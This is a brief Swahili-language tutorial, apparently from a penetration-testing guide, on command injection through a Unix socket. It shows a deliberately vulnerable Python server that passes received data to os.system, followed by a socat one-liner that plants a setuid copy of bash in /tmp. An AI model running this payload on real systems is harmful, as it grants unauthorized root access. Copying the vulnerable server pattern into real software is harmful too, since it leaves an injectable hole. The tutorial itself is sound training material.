Socket Command Injection

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Mfano wa kuunganisha socket kwa Python

Katika mfano ufuatao, socket ya unix inaundwa (/tmp/socket_test.s) na kila kitu kilichopokelewa kitakuwa kinatekelezwa na os.system. Najua huwezi kukutana na hii katika mazingira halisi, lakini lengo la mfano huu ni kuona jinsi msimbo unaotumia socket za unix unavyoonekana, na jinsi ya kudhibiti ingizo katika hali mbaya zaidi.

s.py

import socket
import os, os.path
import time
from collections import deque

if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()

Tekeleza msimbo kwa kutumia python: python s.py na angalia jinsi socket inasikiliza:

netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s

Kuvunja

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s

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